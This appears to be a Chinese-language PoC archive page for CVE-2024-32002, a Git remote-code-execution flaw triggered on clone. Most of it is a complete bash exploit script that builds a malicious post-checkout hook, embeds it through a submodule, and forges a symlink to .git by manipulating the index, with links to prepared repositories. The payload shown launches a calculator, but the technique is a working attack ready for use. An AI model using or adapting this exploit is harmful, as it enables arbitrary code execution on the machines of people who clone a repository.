关联漏洞
描述
CVE-2024-32002 是 Git 中的一个严重漏洞,允许攻击者在用户执行 git clone 操作时远程执行任意代码(RCE)。
介绍
# CVE-2024-32002-EXP
```
#!/bin/bash
# 设置 Git 配置选项
git config --global protocol.file.allow always
git config --global core.symlinks true
# 避免警告消息(设置默认分叉为main)
git config --global init.defaultBranch main
# 定义 tell-tale 路径
tell_tale_path="$PWD/tell.tale"
# 初始化 hook 仓库
git init hook
cd hook
mkdir -p y/hooks
# 将恶意代码写入 hook,适配windows环境与mac环境
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# 使 hook 可执行:重要
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# 定义 hook 仓库路径
hook_repo_path="$(pwd)/hook"
# 初始化 captain 仓库
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# 创建符号链接
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# 本地测试,传到github无需使用此功能
git clone --recursive captain hooked
```
https://github.com/10cks/captain
https://github.com/10cks/hook
文件快照
[4.0K] /data/pocs/75b7cd2423445e4bbf4727a617be721f3712f58f
├── [ 11K] LICENSE
└── [1.2K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。